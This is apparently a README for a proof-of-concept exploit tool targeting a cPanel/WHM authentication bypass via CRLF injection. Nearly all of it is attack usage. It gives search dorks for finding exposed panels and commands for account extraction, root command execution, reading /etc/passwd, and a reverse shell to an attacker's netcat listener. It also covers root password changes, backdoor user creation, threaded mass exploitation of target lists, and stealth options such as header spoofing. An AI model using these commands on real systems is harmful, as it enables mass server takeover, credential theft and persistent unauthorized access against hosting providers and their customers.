tc4dy/cve-2026-41940-poc-exploit🚀 CVE-2026-41940 cPanel/WHM Auth Bypass Exploit - Best Flow 💥 CRLF injection leads to auth bypass, session hijacking & account leak. ✅ Proxy, custom UA, keep-alive, retries, SSL verify, colored output, file save support. ⚡ Advanced PoC for pentesters.
cPanel & WHM Edition - CRLF Injection to Authentication Bypass & Full Session Hijacking
This exploit leverages CVE-2026-41940, a critical authentication bypass vulnerability in cPanel/WHM. By injecting a crafted CRLF payload into the session management system, it achieves session hijacking, root access, and complete control over the hosting panel without any valid credentials.
port:2087 "cPanel" "WHM"
port:2083 "cPanel"
⚠️ Disclaimer: This tool is for authorized security testing and educational purposes only. Unauthorized access is illegal.
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41940-POC-Exploit
cd CVE-2026-41940-POC-Exploit
# Install dependencies
pip3 install -r requirements.txt
# Run
python3 exploit.py -t https://example.com:2087
# Basic exploitation (extract accounts)
python3 exploit.py -t https://192.168.1.100:2087
# Save accounts to file
python3 exploit.py -t https://192.168.1.100:2087 -o accounts.txt
# Verbose mode (debug output)
python3 exploit.py -t https://192.168.1.100:2087 -v
# Interactive WHM Shell (Recommended)
python3 exploit.py -t https://192.168.1.100:2087 -i
[email protected] $ accounts # List all cPanel accounts
[email protected] $ version # Show cPanel version
[email protected] $ ls /home # List directory
[email protected] $ cat /etc/passwd # Read file
[email protected] $ exec id # Execute command
[email protected] $ passwd NewPass123 # Change root password
[email protected] $ adduser test test.com pass123 # Create new user
[email protected] $ exit # Exit shell
## 🔧 Remote Command Execution
```bash
# Execute single command
python3 exploit.py -t https://192.168.1.100:2087 --cmd "id"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "cat /etc/passwd"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "whoami; hostname; uname -a"
# Read file
python3 exploit.py -t https://192.168.1.100:2087 --read /etc/passwd
python3 exploit.py -t https://192.168.1.100:2087 --read /home/example/config.php
# Attacker machine (listener)
nc -lvnp 4444
# Exploit (reverse shell)
python3 exploit.py -t https://192.168.1.100:2087 --reverse-shell 10.0.0.1:4444
# Change root password
python3 exploit.py -t https://192.168.1.100:2087 --passwd "NewRootPass123!"
# Create new cPanel user
python3 exploit.py -t https://192.168.1.100:2087 --adduser hacker hacker.com Pass1234
# Keep-alive session (maintain access)
python3 exploit.py -t https://192.168.1.100:2087 --no-keep-alive # Disable auto keep-alive
# Create targets file
echo "https://target1.com:2087" > targets.txt
echo "https://target2.com:2087" >> targets.txt
echo "https://10.0.0.5:2087" >> targets.txt
# Mass exploit with 20 threads
python3 exploit.py -l targets.txt --threads 20
# Mass exploit with command execution
python3 exploit.py -l targets.txt --threads 10 --cmd "id"
# Custom port (non-standard)
python3 exploit.py -t https://example.com -p 8443
# Using proxy
python3 exploit.py -t https://192.168.1.100:2087 --proxy http://127.0.0.1:8080
# Custom user-agent for stealth
python3 exploit.py -t https://192.168.1.100:2087 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# Custom delay and retries
python3 exploit.py -t https://192.168.1.100:2087 --delay 5 --max-retries 5
# SSL verification (ignore self-signed by default)
python3 exploit.py -t https://192.168.1.100:2087 --ssl-verify
docker run -d --name cpanel-test -p 2087:2087 cpanel/cpanel:102
docker pull cpanel/cpanel:11.102 docker run -d -p 2087:2087 cpanel/cpanel:11.102
Check out my other exploit repositories:
| Category | Features |
|---|
| Exploitation | ✅ Authentication Bypass via CRLF Injection ✅ WHM Session Hijacking ✅ Security Token Leakage ✅ Instant Root Access |
| Post-Exploitation | ✅ Account List Extraction (User + Domain) ✅ Remote Command Execution (RCE) ✅ Reverse Shell (netcat compatible) ✅ File Reading (configs, logs, etc) ✅ Root Password Change ✅ New cPanel User Creation |
| Scanning | ✅ Single Target Exploitation ✅ Multi-Target Mass Scan ✅ Multi-Threading (configurable threads) ✅ Port Override Support |
| Stealth | ✅ Random Delays Between Requests ✅ X-Forwarded-For Spoofing ✅ Custom User-Agent Support ✅ Proxy Support (HTTP/HTTPS) |
| Usability | ✅ Interactive WHM Shell (-i)✅ Colored Output (colorama) ✅ Verbose/Debug Mode ✅ Account List Export to File ✅ Keep-Alive Session Thread ✅ Retry Mechanism for Unstable Connections |
| Product | Versions | Status |
|---|
| cPanel & WHM | 11.92 - 11.102 | ✅ Confirmed |
| cPanel & WHM | 11.104 - 11.110 | ✅ Confirmed |
| cPanel & WHM | 11.118 - 11.136 | ⚠️ Limited |
| cPanel & WHM | < 11.86 | ✅ Possibly vulnerable |
| Short | Long | Description | Default |
|---|
-t | --target | Single target URL | Required (single) |
-l | --target-file | File containing target list | Required (mass) |
-p | --port | Override port | Auto-detect |
-o | --output | Save account list to file | None |
-v | --verbose | Enable debug output | False |
-i | --interactive | Interactive WHM shell | False |
--proxy | HTTP/HTTPS proxy | None | |
-ua | --user-agent | Custom User-Agent | Random |
--cmd | Execute single command | None | |
--reverse-shell | Reverse shell IP:PORT | None | |
--passwd | Change root password | None | |
--adduser | Create new user (USER DOMAIN PASS) | None | |
--read | Read file from target | None | |
--threads | Threads for mass scan | 10 | |
--delay | Keep-alive interval (seconds) | 3.0 | |
--max-retries | Max retries per request | 3 | |
--no-keep-alive | Don't maintain session | False | |
--ssl-verify | Verify SSL certificates | False |